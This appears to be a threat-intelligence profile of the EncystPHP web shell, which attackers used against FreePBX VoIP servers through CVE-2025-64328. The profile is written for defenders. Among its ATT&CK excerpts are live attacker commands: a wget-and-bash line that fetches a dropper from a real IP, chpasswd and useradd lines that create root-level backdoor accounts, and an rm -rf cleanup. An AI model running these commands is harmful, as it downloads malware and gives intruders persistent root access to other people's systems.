EncystPHP
- Type
- Webshell
- Capabilities
- Credential theftPersistencePrivilege escalationPost exploitationDefense evasionReconnaissance
- Platforms
- Linux
EncystPHP is a PHP web shell targeting Linux-based FreePBX VoIP servers and supporting operations within FreePBX and Elastix administrative environments. Identified by FortiGuard Labs in January 2026, it was deployed in attacks exploiting CVE-2025-64328, a post-authentication command-injection vulnerability in FreePBX, beginning in early December 2025. The activity is associated with INJ3CTOR3, a financially motivated threat actor known for compromising VoIP infrastructure for unauthorized call generation and toll fraud.
The web shell provides an authenticated operator interface for arbitrary system command execution, filesystem enumeration, process inspection, active Asterisk channel queries, SIP peer listing, and retrieval of FreePBX and Elastix configuration information. Access is gated by a hard-coded authentication secret. Its deployment chain collects database configuration information and installs additional payloads and redundant web shell copies, enabling continued administrative access and abuse of telephony resources.
Persistence mechanisms include recurring cron jobs that download and execute installation scripts, root-equivalent local accounts, account password resets, and injected SSH public keys. The malware also modifies system configuration to preserve SSH access. Defense-evasion and anti-forensic behaviors include masquerading as legitimate FreePBX components, Base64-encoded payload deployment, timestamp forgery, file-permission manipulation, log tampering, and removal of competing web shells. Its deployment chain can delete existing accounts and scheduled tasks and remove the FreePBX Endpoint Manager module.
Associated vulnerabilities
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“Fortinet documented the EncystPHP webshell in January 2026, and our May report covered JOMANGY.”
Techniques & procedures
34 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
This version is also adding the following backdoor accounts...
"...exploits CVE-2025-64328, a post-authentication command-injection flaw in the FreePBX Endpoint Manager’s administrative interface... allows authenticated attackers to execute arbitrary shell commands as the asterisk user..."
Execution
4 techniques
Execution
"Initial persistence is established through crontab entries that download the secondary dropper k.php every minute."
By leveraging Elastix and FreePBX administrative contexts, the web shell operates with elevated privileges, enabling arbitrary command execution on the compromised host...
Application: system data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/ k
The same IP address is also probing for various FreePBX vulnerabilities, for example: /restapps/applications.php?linestate=$$LINESTATE$$&user=100 ... Application: system data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/ k
Persistence
8 techniques
Persistence
"Initial persistence is established through crontab entries that download the secondary dropper k.php every minute."
This version is also adding the following backdoor accounts...
"...resets multiple user account passwords to a single value, and injects SSH public keys to maintain backdoor access."
"...injects SSH public keys to maintain backdoor access."
This version is also adding the following backdoor accounts: echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e ... echo 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e
“the malware creates a root-level user named newfpbx… useradd … -ou 0 -g 0 … newfpbx”
Today, I noticed some scans for what appears to be the "EncystPHP" web shell... It appears to be a favorite among attackers compromising vulnerable FreePBX systems.
"The webshell employs MD5-hashed authentication, comparing plaintext passwords entered via the web interface against hard-coded hash values embedded in the code."
Privilege Escalation
5 techniques
Privilege Escalation
"Initial persistence is established through crontab entries that download the secondary dropper k.php every minute."
“By leveraging Elastix and FreePBX administrative contexts, the web shell operates with elevated privileges…”
This version is also adding the following backdoor accounts...
"...resets multiple user account passwords to a single value, and injects SSH public keys to maintain backdoor access."
"...injects SSH public keys to maintain backdoor access."
Stealth
7 techniques
Stealth
“...deployed Base64-encoded web shells to maintain long-term control.”
"By mimicking legitimate FreePBX components, it attempts to 'evade immediate detection'"
“written to disk, masquerading as a legitimate FreePBX file named ajax.php… [and] forges timestamps to match those of legitimate files”
"EncystPHP also tampers with log files and disables error reporting to hinder forensic analysis and detection efforts."
"The malware also attempts to cover its tracks, executing commands like rm -rf /tmp/* to delete temporary files"
"The malware forges timestamps to match legitimate files..."
This version is also adding the following backdoor accounts...
Defense Impairment
5 techniques
Defense Impairment
"Upon deployment, the malware modifies file permissions of legitimate FreePBX components to prevent detection..."
“modifies the file permissions of ajax.php and model.php to 000, rendering both files unreadable…”
"The webshell employs MD5-hashed authentication, comparing plaintext passwords entered via the web interface against hard-coded hash values embedded in the code."
“searches for PHP files associated with web shells… and deletes all matching files… [and] disables error reporting”
"...and sed to scrub logs."
Credential Access
3 techniques
Credential Access
“attempts to collect database configuration information from /etc/freepbx.conf”
“...harvested database configs...”
"The webshell employs MD5-hashed authentication, comparing plaintext passwords entered via the web interface against hard-coded hash values embedded in the code."
Discovery
4 techniques
Discovery
"...predefined operational commands for... process inspection..."
The web shell also exposes an interactive interface that supports several predefined operational commands. This includes file system enumeration, process inspection... and retrieving multiple FreePBX and Elastix configuration files.
"...predefined operational commands for file system enumeration... retrieving FreePBX and Elastix configuration files."
The web shell also exposes an interactive interface that supports several predefined operational commands... listing Asterisk SIP peers...
Lateral Movement
2 techniques
Lateral Movement
"...the web shell is then used for post-exploitation activities, including outbound call fraud, lateral movement within the network..."
"...modifies system configurations to ensure SSH port 22 remains open... injects SSH public keys to maintain backdoor access."
Command and Control
2 techniques
Command and Control
"...downloaded the EncystPHP dropper from the IP address 45[.]234[.]176[.]202..."
"Fortinet observed that the attackers downloaded the EncystPHP dropper from the IP address 45[.]234[.]176[.]202... redirected to another dropper named k.php."
Impact
1 technique
Impact
“enabling arbitrary command execution… and initiating outbound call activity through the PBX environment.”
Observables
14 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
16 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.